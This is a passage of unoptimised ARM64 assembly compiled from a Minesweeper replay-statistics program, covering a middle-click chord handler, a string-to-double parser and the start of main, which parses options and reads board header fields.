.cfi_offset w29, -16
stur w0, [x29, #-4]
str w1, [sp, #8]
str w2, [sp, #4]
str w3, [sp]
adrp x8, _chorded@GOTPAGE
ldr x8, [x8, _chorded@GOTPAGEOFF]
str wzr, [x8]
adrp x8, _onedotfive@GOTPAGE
ldr x8, [x8, _onedotfive@GOTPAGEOFF]
str wzr, [x8]
adrp x8, _right@GOTPAGE
ldr x8, [x8, _right@GOTPAGEOFF]
str wzr, [x8]
adrp x8, _left@GOTPAGE
ldr x8, [x8, _left@GOTPAGEOFF]
str wzr, [x8]
adrp x8, _shift_left@GOTPAGE
ldr x8, [x8, _shift_left@GOTPAGEOFF]
str wzr, [x8]
adrp x9, _middle@GOTPAGE
ldr x9, [x9, _middle@GOTPAGEOFF]
mov w8, #1
str w8, [x9]
ldur w0, [x29, #-4]
ldr w1, [sp, #8]
bl _is_inside_board
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB46_2
b LBB46_1
LBB46_1:
b LBB46_3
LBB46_2:
ldur w0, [x29, #-4]
ldr w1, [sp, #8]
bl _push_around
b LBB46_3
LBB46_3:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _middle_click ; -- Begin function middle_click
.p2align 2
_middle_click: ; @middle_click
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
str w1, [sp, #8]
str w2, [sp, #4]
str w3, [sp]
adrp x8, _middle@GOTPAGE
ldr x8, [x8, _middle@GOTPAGEOFF]
ldr w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB47_2
b LBB47_1
LBB47_1:
b LBB47_5
LBB47_2:
adrp x8, _middle@GOTPAGE
ldr x8, [x8, _middle@GOTPAGEOFF]
str wzr, [x8]
ldur w0, [x29, #-4]
ldr w1, [sp, #8]
bl _is_inside_board
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB47_4
b LBB47_3
LBB47_3:
b LBB47_5
LBB47_4:
ldur w0, [x29, #-4]
ldr w1, [sp, #8]
mov w2, #0
bl _do_chord
adrp x9, _d_clicks@GOTPAGE
ldr x9, [x9, _d_clicks@GOTPAGEOFF]
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
b LBB47_5
LBB47_5:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ; -- Begin function strtodouble
lCPI48_0:
.quad 0x4048000000000000 ; double 48
.section __TEXT,__text,regular,pure_instructions
.globl _strtodouble
.p2align 2
_strtodouble: ; @strtodouble
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-16]
movi d0, #0000000000000000
str d0, [sp, #24]
mov w8, #-1
str w8, [sp, #20]
str wzr, [sp, #16]
ldur x0, [x29, #-16]
bl _strlen
mov x8, x0
str w8, [sp, #12]
mov w8, #1
str w8, [sp, #8]
b LBB48_1
LBB48_1: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-16]
ldr w9, [sp, #20]
add w9, w9, #1
str w9, [sp, #20]
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #32
cset w8, ne
tbnz w8, #0, LBB48_3
b LBB48_2
LBB48_2: ; in Loop: Header=BB48_1 Depth=1
b LBB48_1
LBB48_3:
ldur x8, [x29, #-16]
ldrsw x9, [sp, #20]
add x8, x8, x9
ldrb w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB48_5
b LBB48_4
LBB48_4:
movi d0, #0000000000000000
stur d0, [x29, #-8]
b LBB48_22
LBB48_5:
ldur x8, [x29, #-16]
ldrsw x9, [sp, #20]
ldrsb w8, [x8, x9]
subs w8, w8, #45
cset w8, ne
tbnz w8, #0, LBB48_7
b LBB48_6
LBB48_6:
mov w8, #1
str w8, [sp, #16]
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB48_7
LBB48_7:
b LBB48_8
LBB48_8: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #20]
ldr w9, [sp, #12]
subs w8, w8, w9
cset w8, ge
mov w9, #0
str w9, [sp, #4] ; 4-byte Folded Spill
tbnz w8, #0, LBB48_10
b LBB48_9
LBB48_9: ; in Loop: Header=BB48_8 Depth=1
ldur x8, [x29, #-16]
ldrsw x9, [sp, #20]
ldrsb w0, [x8, x9]
bl _isdigit
subs w8, w0, #0
cset w8, ne
str w8, [sp, #4] ; 4-byte Folded Spill
b LBB48_10
LBB48_10: ; in Loop: Header=BB48_8 Depth=1
ldr w8, [sp, #4] ; 4-byte Folded Reload
tbz w8, #0, LBB48_12
b LBB48_11
LBB48_11: ; in Loop: Header=BB48_8 Depth=1
ldr d0, [sp, #24]
ldur x8, [x29, #-16]
ldrsw x9, [sp, #20]
mov x10, x9
add w10, w10, #1
str w10, [sp, #20]
ldrsb w8, [x8, x9]
scvtf d2, w8
fmov d1, #10.00000000
fmadd d0, d0, d1, d2
adrp x8, lCPI48_0@PAGE
ldr d1, [x8, lCPI48_0@PAGEOFF]
fsub d0, d0, d1
str d0, [sp, #24]
b LBB48_8
LBB48_12:
ldur x8, [x29, #-16]
ldrsw x9, [sp, #20]
mov x10, x9
add w10, w10, #1
str w10, [sp, #20]
ldrsb w8, [x8, x9]
subs w8, w8, #46
cset w8, eq
tbnz w8, #0, LBB48_14
b LBB48_13
LBB48_13:
ldr d0, [sp, #24]
stur d0, [x29, #-8]
b LBB48_22
LBB48_14:
b LBB48_15
LBB48_15: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #20]
ldr w9, [sp, #12]
subs w8, w8, w9
cset w8, ge
mov w9, #0
str w9, [sp] ; 4-byte Folded Spill
tbnz w8, #0, LBB48_17
b LBB48_16
LBB48_16: ; in Loop: Header=BB48_15 Depth=1
ldur x8, [x29, #-16]
ldrsw x9, [sp, #20]
ldrsb w0, [x8, x9]
bl _isdigit
subs w8, w0, #0
cset w8, ne
str w8, [sp] ; 4-byte Folded Spill
b LBB48_17
LBB48_17: ; in Loop: Header=BB48_15 Depth=1
ldr w8, [sp] ; 4-byte Folded Reload
tbz w8, #0, LBB48_19
b LBB48_18
LBB48_18: ; in Loop: Header=BB48_15 Depth=1
ldr d0, [sp, #24]
ldur x8, [x29, #-16]
ldrsw x9, [sp, #20]
mov x10, x9
add w10, w10, #1
str w10, [sp, #20]
ldrsb w8, [x8, x9]
scvtf d2, w8
fmov d1, #10.00000000
fmadd d0, d0, d1, d2
adrp x8, lCPI48_0@PAGE
ldr d1, [x8, lCPI48_0@PAGEOFF]
fsub d0, d0, d1
str d0, [sp, #24]
ldr w8, [sp, #8]
mov w9, #10
mul w8, w8, w9
str w8, [sp, #8]
b LBB48_15
LBB48_19:
ldr w8, [sp, #16]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB48_21
b LBB48_20
LBB48_20:
ldr d0, [sp, #24]
fneg d0, d0
str d0, [sp, #24]
b LBB48_21
LBB48_21:
ldr d0, [sp, #24]
ldr s2, [sp, #8]
; implicit-def: $d1
fmov s1, s2
sshll.2d v1, v1, #0
; kill: def $d1 killed $d1 killed $q1
scvtf d1, d1
fdiv d0, d0, d1
stur d0, [x29, #-8]
b LBB48_22
LBB48_22:
ldur d0, [x29, #-8]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ; -- Begin function main
lCPI49_0:
.quad 0xbf50624dd2f1a9fc ; double -0.001
lCPI49_1:
.quad 0x3f50624dd2f1a9fc ; double 0.001
lCPI49_2:
.quad 0x40c3880000000000 ; double 1.0E+4
lCPI49_3:
.quad 0x408f400000000000 ; double 1000
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #2176
adrp x8, _input@GOTPAGE
ldr x8, [x8, _input@GOTPAGEOFF]
str x8, [sp, #136] ; 8-byte Folded Spill
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
str x8, [sp, #144] ; 8-byte Folded Spill
adrp x8, _output@GOTPAGE
ldr x8, [x8, _output@GOTPAGEOFF]
str x8, [sp, #152] ; 8-byte Folded Spill
adrp x8, _event@GOTPAGE
ldr x8, [x8, _event@GOTPAGEOFF]
str x8, [sp, #160] ; 8-byte Folded Spill
add x8, x8, #6
str x8, [sp, #168] ; 8-byte Folded Spill
adrp x8, _h@GOTPAGE
ldr x8, [x8, _h@GOTPAGEOFF]
str x8, [sp, #176] ; 8-byte Folded Spill
adrp x8, _w@GOTPAGE
ldr x8, [x8, _w@GOTPAGEOFF]
str x8, [sp, #184] ; 8-byte Folded Spill
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp, #192] ; 8-byte Folded Spill
adrp x8, _wasted_d_clicks@GOTPAGE
ldr x8, [x8, _wasted_d_clicks@GOTPAGEOFF]
str x8, [sp, #200] ; 8-byte Folded Spill
adrp x8, _wasted_r_clicks@GOTPAGE
ldr x8, [x8, _wasted_r_clicks@GOTPAGEOFF]
str x8, [sp, #208] ; 8-byte Folded Spill
adrp x8, _wasted_l_clicks@GOTPAGE
ldr x8, [x8, _wasted_l_clicks@GOTPAGEOFF]
str x8, [sp, #216] ; 8-byte Folded Spill
adrp x8, _d_clicks@GOTPAGE
ldr x8, [x8, _d_clicks@GOTPAGEOFF]
str x8, [sp, #224] ; 8-byte Folded Spill
adrp x8, _r_clicks@GOTPAGE
ldr x8, [x8, _r_clicks@GOTPAGEOFF]
str x8, [sp, #232] ; 8-byte Folded Spill
adrp x8, _l_clicks@GOTPAGE
ldr x8, [x8, _l_clicks@GOTPAGEOFF]
str x8, [sp, #240] ; 8-byte Folded Spill
adrp x8, _solved_bbbv@GOTPAGE
ldr x8, [x8, _solved_bbbv@GOTPAGEOFF]
str x8, [sp, #248] ; 8-byte Folded Spill
adrp x8, _cur_time@GOTPAGE
ldr x8, [x8, _cur_time@GOTPAGEOFF]
str x8, [sp, #256] ; 8-byte Folded Spill
adrp x8, _bbbv@GOTPAGE
ldr x8, [x8, _bbbv@GOTPAGEOFF]
str x8, [sp, #264] ; 8-byte Folded Spill
adrp x8, _gzini@GOTPAGE
ldr x8, [x8, _gzini@GOTPAGEOFF]
str x8, [sp, #272] ; 8-byte Folded Spill
adrp x8, _hzini@GOTPAGE
ldr x8, [x8, _hzini@GOTPAGEOFF]
str x8, [sp, #280] ; 8-byte Folded Spill
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [sp, #484]
str w0, [sp, #480]
str x1, [sp, #472]
str wzr, [sp, #452]
ldr w8, [sp, #480]
subs w8, w8, #2
cset w8, ge
tbnz w8, #0, LBB49_2
b LBB49_1
LBB49_1:
adrp x0, l_.str.14@PAGE
add x0, x0, l_.str.14@PAGEOFF
bl _printf
adrp x0, l_.str.15@PAGE
add x0, x0, l_.str.15@PAGEOFF
bl _printf
adrp x0, l_.str.16@PAGE
add x0, x0, l_.str.16@PAGEOFF
bl _printf
adrp x0, l_.str.17@PAGE
add x0, x0, l_.str.17@PAGEOFF
bl _printf
adrp x0, l_.str.18@PAGE
add x0, x0, l_.str.18@PAGEOFF
bl _printf
adrp x0, l_.str.19@PAGE
add x0, x0, l_.str.19@PAGEOFF
bl _printf
adrp x0, l_.str.20@PAGE
add x0, x0, l_.str.20@PAGEOFF
bl _printf
mov w8, #2
str w8, [sp, #484]
b LBB49_287
LBB49_2:
adrp x8, _no_board_events@PAGE
str wzr, [x8, _no_board_events@PAGEOFF]
adrp x8, _no_zini@PAGE
str wzr, [x8, _no_zini@PAGEOFF]
ldr x8, [sp, #472]
ldr x8, [x8, #8]
ldrsb w8, [x8]
subs w8, w8, #45
cset w8, eq
and w9, w8, #0x1
str w9, [sp, #456]
tbz w8, #0, LBB49_21
b LBB49_3
LBB49_3:
ldr x8, [sp, #472]
ldr x8, [x8, #8]
str x8, [sp, #440]
b LBB49_4
LBB49_4: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #440]
ldrb w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB49_20
b LBB49_5
LBB49_5: ; in Loop: Header=BB49_4 Depth=1
ldr x8, [sp, #440]
ldrsb w8, [x8]
subs w8, w8, #101
cset w8, ne
tbnz w8, #0, LBB49_7
b LBB49_6
LBB49_6: ; in Loop: Header=BB49_4 Depth=1
mov w8, #1
adrp x9, _no_board_events@PAGE
str w8, [x9, _no_board_events@PAGEOFF]
b LBB49_19
LBB49_7: ; in Loop: Header=BB49_4 Depth=1
ldr x8, [sp, #440]
ldrsb w8, [x8]
subs w8, w8, #105
cset w8, ne
tbnz w8, #0, LBB49_9
b LBB49_8
LBB49_8: ; in Loop: Header=BB49_4 Depth=1
adrp x9, _no_check_info@PAGE
mov w8, #1
str w8, [x9, _no_check_info@PAGEOFF]
b LBB49_18
LBB49_9: ; in Loop: Header=BB49_4 Depth=1
ldr x8, [sp, #440]
ldrsb w8, [x8]
subs w8, w8, #122
cset w8, ne
tbnz w8, #0, LBB49_11
b LBB49_10
LBB49_10: ; in Loop: Header=BB49_4 Depth=1
mov w8, #1
adrp x9, _no_zini@PAGE
str w8, [x9, _no_zini@PAGEOFF]
b LBB49_17
LBB49_11: ; in Loop: Header=BB49_4 Depth=1
ldr x8, [sp, #440]
ldrsb w8, [x8]
subs w8, w8, #114
cset w8, ne
tbnz w8, #0, LBB49_13
b LBB49_12
LBB49_12: ; in Loop: Header=BB49_4 Depth=1
adrp x8, _no_rilian_clicks@PAGE
str wzr, [x8, _no_rilian_clicks@PAGEOFF]
b LBB49_16
LBB49_13: ; in Loop: Header=BB49_4 Depth=1
ldr x8, [sp, #440]
ldrsb w8, [x8]
subs w8, w8, #115
cset w8, ne
tbnz w8, #0, LBB49_15
b LBB49_14
LBB49_14: ; in Loop: Header=BB49_4 Depth=1
mov w8, #1
str w8, [sp, #452]
b LBB49_15
LBB49_15: ; in Loop: Header=BB49_4 Depth=1
b LBB49_16
LBB49_16: ; in Loop: Header=BB49_4 Depth=1
b LBB49_17
LBB49_17: ; in Loop: Header=BB49_4 Depth=1
b LBB49_18
LBB49_18: ; in Loop: Header=BB49_4 Depth=1
b LBB49_19
LBB49_19: ; in Loop: Header=BB49_4 Depth=1
ldr x8, [sp, #440]
add x8, x8, #1
str x8, [sp, #440]
b LBB49_4
LBB49_20:
b LBB49_21
LBB49_21:
ldr w8, [sp, #452]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB49_23
b LBB49_22
LBB49_22:
ldr x9, [sp, #136] ; 8-byte Folded Reload
adrp x8, ___stdinp@GOTPAGE
ldr x8, [x8, ___stdinp@GOTPAGEOFF]
ldr x8, [x8]
str x8, [x9]
b LBB49_32
LBB49_23:
ldr x8, [sp, #472]
str x8, [sp, #128] ; 8-byte Folded Spill
ldr w8, [sp, #480]
ldr w9, [sp, #456]
add w9, w9, #3
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB49_25
b LBB49_24
LBB49_24:
ldr w8, [sp, #480]
subs w8, w8, #2
str w8, [sp, #124] ; 4-byte Folded Spill
b LBB49_26
LBB49_25:
ldr w8, [sp, #480]
subs w8, w8, #1
str w8, [sp, #124] ; 4-byte Folded Spill
b LBB49_26
LBB49_26:
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr w9, [sp, #124] ; 4-byte Folded Reload
ldr x0, [x8, w9, sxtw #3]
adrp x1, l_.str.21@PAGE
add x1, x1, l_.str.21@PAGEOFF
bl _fopen
ldr x8, [sp, #136] ; 8-byte Folded Reload
str x0, [x8]
ldr x8, [x8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB49_31
b LBB49_27
LBB49_27:
ldr x8, [sp, #144] ; 8-byte Folded Reload
ldr x8, [x8]
str x8, [sp, #104] ; 8-byte Folded Spill
ldr x8, [sp, #472]
str x8, [sp, #112] ; 8-byte Folded Spill
ldr w8, [sp, #480]
ldr w9, [sp, #456]
add w9, w9, #3
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB49_29
b LBB49_28
LBB49_28:
ldr w8, [sp, #480]
subs w8, w8, #2
str w8, [sp, #100] ; 4-byte Folded Spill
b LBB49_30
LBB49_29:
ldr w8, [sp, #480]
subs w8, w8, #1
str w8, [sp, #100] ; 4-byte Folded Spill
b LBB49_30
LBB49_30:
ldr x0, [sp, #104] ; 8-byte Folded Reload
ldr x8, [sp, #112] ; 8-byte Folded Reload
ldr w9, [sp, #100] ; 4-byte Folded Reload
ldr x8, [x8, w9, sxtw #3]
mov x9, sp
str x8, [x9]
adrp x1, l_.str.22@PAGE
add x1, x1, l_.str.22@PAGEOFF
bl _fprintf
mov w8, #3
str w8, [sp, #484]
b LBB49_287
LBB49_31:
b LBB49_32
LBB49_32:
ldr w8, [sp, #480]
ldr w9, [sp, #456]
add w9, w9, #3
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB49_36
b LBB49_33
LBB49_33:
ldr x8, [sp, #472]
ldr w9, [sp, #480]
subs w9, w9, #1
ldr x0, [x8, w9, sxtw #3]
adrp x1, l_.str.23@PAGE
add x1, x1, l_.str.23@PAGEOFF
bl _fopen
ldr x8, [sp, #152] ; 8-byte Folded Reload
str x0, [x8]
ldr x8, [x8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB49_35
b LBB49_34
LBB49_34:
ldr x8, [sp, #144] ; 8-byte Folded Reload
ldr x0, [x8]
ldr x8, [sp, #472]
ldr w9, [sp, #480]
subs w9, w9, #1
ldr x8, [x8, w9, sxtw #3]
mov x9, sp
str x8, [x9]
adrp x1, l_.str.24@PAGE
add x1, x1, l_.str.24@PAGEOFF
bl _fprintf
mov w8, #4
str w8, [sp, #484]
b LBB49_287
LBB49_35:
b LBB49_37
LBB49_36:
ldr x9, [sp, #152] ; 8-byte Folded Reload
adrp x8, ___stdoutp@GOTPAGE
ldr x8, [x8, ___stdoutp@GOTPAGEOFF]
ldr x8, [x8]
str x8, [x9]
b LBB49_37
LBB49_37:
adrp x8, _superflag@GOTPAGE
ldr x8, [x8, _superflag@GOTPAGEOFF]
str wzr, [x8]
adrp x8, _superclick@GOTPAGE
ldr x8, [x8, _superclick@GOTPAGEOFF]
str wzr, [x8]
adrp x8, _nono@GOTPAGE
ldr x8, [x8, _nono@GOTPAGEOFF]
str wzr, [x8]
adrp x8, _elmar@GOTPAGE
ldr x8, [x8, _elmar@GOTPAGEOFF]
str wzr, [x8]
adrp x8, _qm@GOTPAGE
ldr x8, [x8, _qm@GOTPAGEOFF]
str wzr, [x8]
add x0, sp, #1832
adrp x1, l___const.main.info@PAGE
add x1, x1, l___const.main.info@PAGEOFF
mov x2, #336
bl _memcpy
mov w8, #42
str w8, [sp, #436]
add x0, sp, #656
adrp x1, l___const.main.int_info@PAGE
add x1, x1, l___const.main.int_info@PAGEOFF
mov x2, #168
bl _memcpy
mov w8, #8
str w8, [sp, #432]
str w8, [sp, #428]
mov w8, #10
str w8, [sp, #424]
mov w8, #1
str w8, [sp, #420]
str w8, [sp, #416]
mov w8, #16
str w8, [sp, #412]
str wzr, [sp, #408]
str wzr, [sp, #468]
b LBB49_38
LBB49_38: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #468]
subs w8, w8, #42
cset w8, ge
tbnz w8, #0, LBB49_41
b LBB49_39
LBB49_39: ; in Loop: Header=BB49_38 Depth=1
ldrsw x10, [sp, #468]
add x9, sp, #1664
mov w8, #0
str w8, [x9, x10, lsl #2]
b LBB49_40
LBB49_40: ; in Loop: Header=BB49_38 Depth=1
ldr w8, [sp, #468]
add w8, w8, #1
str w8, [sp, #468]
b LBB49_38
LBB49_41:
str wzr, [sp, #468]
b LBB49_42
LBB49_42: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #468]
subs w8, w8, #42
cset w8, ge
tbnz w8, #0, LBB49_45
b LBB49_43
LBB49_43: ; in Loop: Header=BB49_42 Depth=1
adrp x8, _no_zini@PAGE
ldr w8, [x8, _no_zini@PAGEOFF]
subs w8, w8, #0
cset w8, eq
and w8, w8, #0x1
ldrsw x10, [sp, #468]
add x9, sp, #488
str w8, [x9, x10, lsl #2]
b LBB49_44
LBB49_44: ; in Loop: Header=BB49_42 Depth=1
ldr w8, [sp, #468]
add w8, w8, #1
str w8, [sp, #468]
b LBB49_42
LBB49_45:
str wzr, [sp, #468]
b LBB49_46
LBB49_46: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #468]
subs w8, w8, #1000
cset w8, ge
tbnz w8, #0, LBB49_49
b LBB49_47
LBB49_47: ; in Loop: Header=BB49_46 Depth=1
ldrsw x10, [sp, #468]
adrp x9, _size_ops@GOTPAGE
ldr x9, [x9, _size_ops@GOTPAGEOFF]
mov w8, #0
str w8, [x9, x10, lsl #2]
b LBB49_48
LBB49_48: ; in Loop: Header=BB49_46 Depth=1
ldr w8, [sp, #468]
add w8, w8, #1
str w8, [sp, #468]
b LBB49_46
LBB49_49:
str wzr, [sp, #468]
b LBB49_50
LBB49_50: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #468]
subs w8, w8, #1000
cset w8, ge
tbnz w8, #0, LBB49_53
b LBB49_51
LBB49_51: ; in Loop: Header=BB49_50 Depth=1
ldrsw x10, [sp, #468]
adrp x9, _size_isls@GOTPAGE
ldr x9, [x9, _size_isls@GOTPAGEOFF]
mov w8, #0
str w8, [x9, x10, lsl #2]
b LBB49_52
LBB49_52: ; in Loop: Header=BB49_50 Depth=1
ldr w8, [sp, #468]
add w8, w8, #1
str w8, [sp, #468]
b LBB49_50
LBB49_53:
b LBB49_54
LBB49_54: ; =>This Loop Header: Depth=1
; Child Loop BB49_82 Depth 2
ldr x8, [sp, #136] ; 8-byte Folded Reload
str wzr, [sp, #404]
ldr x0, [x8]
bl _ftell
ldr x8, [sp, #136] ; 8-byte Folded Reload
mov x9, x0
ldr x0, [sp, #160] ; 8-byte Folded Reload
str x9, [sp, #392]
ldr x2, [x8]
mov w1, #1000
bl _fgets
ldr x8, [sp, #136] ; 8-byte Folded Reload
ldr x0, [x8]
bl _feof
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB49_56
b LBB49_55
LBB49_55: ; in Loop: Header=BB49_54 Depth=1
adrp x0, l_.str.67@PAGE
add x0, x0, l_.str.67@PAGEOFF
bl _error
b LBB49_56
LBB49_56: ; in Loop: Header=BB49_54 Depth=1
ldr x0, [sp, #160] ; 8-byte Folded Reload
adrp x1, l_.str.68@PAGE
add x1, x1, l_.str.68@PAGEOFF
bl _opteq
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB49_58
b LBB49_57
LBB49_57:
b LBB49_95
LBB49_58: ; in Loop: Header=BB49_54 Depth=1
ldr x0, [sp, #160] ; 8-byte Folded Reload
adrp x1, l_.str.69@PAGE
add x1, x1, l_.str.69@PAGEOFF
bl _opteq
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB49_60
b LBB49_59
LBB49_59: ; in Loop: Header=BB49_54 Depth=1
ldr x0, [sp, #168] ; 8-byte Folded Reload
bl _atoi
ldr x8, [sp, #184] ; 8-byte Folded Reload
str w0, [x8]
b LBB49_93
LBB49_60: ; in Loop: Header=BB49_54 Depth=1
ldr x0, [sp, #160] ; 8-byte Folded Reload
adrp x1, l_.str.70@PAGE
add x1, x1, l_.str.70@PAGEOFF
bl _opteq
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB49_62
b LBB49_61
LBB49_61: ; in Loop: Header=BB49_54 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
add x0, x8, #7
bl _atoi
ldr x8, [sp, #176] ; 8-byte Folded Reload
str w0, [x8]
b LBB49_92
LBB49_62: ; in Loop: Header=BB49_54 Depth=1
ldr x0, [sp, #160] ; 8-byte Folded Reload
adrp x1, l_.str.71@PAGE
add x1, x1, l_.str.71@PAGEOFF
bl _opteq
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB49_64
b LBB49_63
LBB49_63: ; in Loop: Header=BB49_54 Depth=1
ldr x0, [sp, #168] ; 8-byte Folded Reload
bl _atoi
adrp x8, _m@GOTPAGE
ldr x8, [x8, _m@GOTPAGEOFF]
str w0, [x8]
b LBB49_91
LBB49_64: ; in Loop: Header=BB49_54 Depth=1
ldr x0, [sp, #160] ; 8-byte Folded Reload
adrp x1, l_.str.72@PAGE
add x1, x1, l_.str.72@PAGEOFF
bl _opteq
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB49_66
b LBB49_65
LBB49_65: ; in Loop: Header=BB49_54 Depth=1
ldr x0, [sp, #168] ; 8-byte Folded Reload
adrp x1, l_.str.73@PAGE
add x1, x1, l_.str.73@PAGEOFF
bl _valeq
adrp x8, _qm@GOTPAGE
ldr x8, [x8, _qm@GOTPAGEOFF]
str w0, [x8]
b LBB49_90
LBB49_66: ; in Loop: Header=BB49_54 Depth=1
ldr x0, [sp, #160] ; 8-byte Folded Reload
adrp x1, l_.str.74@PAGE
add x1, x1, l_.str.74@PAGEOFF
bl _opteq
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB49_79
b LBB49_67
LBB49_67: ; in Loop: Header=BB49_54 Depth=1
ldr x8, [sp, #168] ; 8-byte Folded Reload
str x8, [sp, #384]
ldr x0, [sp, #384]
adrp x1, l_.str.75@PAGE
add x1, x1, l_.str.75@PAGEOFF
bl _valeq
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB49_69
b LBB49_68
LBB49_68: ; in Loop: Header=BB49_54 Depth=1
adrp x0, l_.str.76@PAGE
add x0, x0, l_.str.76@PAGEOFF
bl _error
b LBB49_78
LBB49_69: ; in Loop: Header=BB49_54 Depth=1
ldr x0, [sp, #384]
adrp x1, l_.str.77@PAGE
add x1, x1, l_.str.77@PAGEOFF
bl _valeq
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB49_71
b LBB49_70
LBB49_70: ; in Loop: Header=BB49_54 Depth=1
mov w8, #8
str w8, [sp, #428]
str w8, [sp, #432]
mov w8, #10
str w8, [sp, #424]
b LBB49_77
LBB49_71: ; in Loop: Header=BB49_54 Depth=1
ldr x0, [sp, #384]
adrp x1, l_.str.78@PAGE
add x1, x1, l_.str.78@PAGEOFF
bl _valeq
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB49_73
b LBB49_72
LBB49_72: ; in Loop: Header=BB49_54 Depth=1
mov w8, #16
str w8, [sp, #428]
str w8, [sp, #432]
mov w8, #40
str w8, [sp, #424]
b LBB49_76
LBB49_73: ; in Loop: Header=BB49_54 Depth=1
ldr x0, [sp, #384]
adrp x1, l_.str.79@PAGE
add x1, x1, l_.str.79@PAGEOFF
bl _valeq
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB49_75
b LBB49_74
LBB49_74: ; in Loop: Header=BB49_54 Depth=1
mov w8, #30
str w8, [sp, #432]
mov w8, #16
str w8, [sp, #428]
mov w8, #99
str w8, [sp, #424]
b LBB49_75
LBB49_75: ; in Loop: Header=BB49_54 Depth=1
b LBB49_76
LBB49_76: ; in Loop: Header=BB49_54 Depth=1
b LBB49_77
LBB49_77: ; in Loop: Header=BB49_54 Depth=1
b LBB49_78
LBB49_78: ; in Loop: Header=BB49_54 Depth=1
b LBB49_89
LBB49_79: ; in Loop: Header=BB49_54 Depth=1
ldr x0, [sp, #160] ; 8-byte Folded Reload
adrp x1, l_.str.80@PAGE
add x1, x1, l_.str.80@PAGEOFF
bl _opteq
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB49_81
b LBB49_80
LBB49_80: ; in Loop: Header=BB49_54 Depth=1
ldr x8, [sp, #160] ; 8-byte Folded Reload
str wzr, [sp, #416]
add x0, x8, #5
adrp x1, l_.str.81@PAGE
add x1, x1, l_.str.81@PAGEOFF
bl _valeq
str w0, [sp, #420]
b LBB49_88
LBB49_81: ; in Loop: Header=BB49_54 Depth=1
str wzr, [sp, #468]
b LBB49_82
LBB49_82: ; Parent Loop BB49_54 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #468]
subs w8, w8, #42
cset w8, ge
tbnz w8, #0, LBB49_87
b LBB49_83
LBB49_83: ; in Loop: Header=BB49_82 Depth=2
ldr x0, [sp, #160] ; 8-byte Folded Reload
ldrsw x9, [sp, #468]
add x8, sp, #1832
ldr x1, [x8, x9, lsl #3]
bl _opteq
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB49_85
b LBB49_84
LBB49_84: ; in Loop: Header=BB49_54 Depth=1
ldrsw x10, [sp, #468]
add x9, sp, #1664
mov w8, #1
str w8, [sp, #96] ; 4-byte Folded Spill
str w8, [x9, x10, lsl #2]
ldr x8, [sp, #392]
str x8, [sp, #88] ; 8-byte Folded Spill
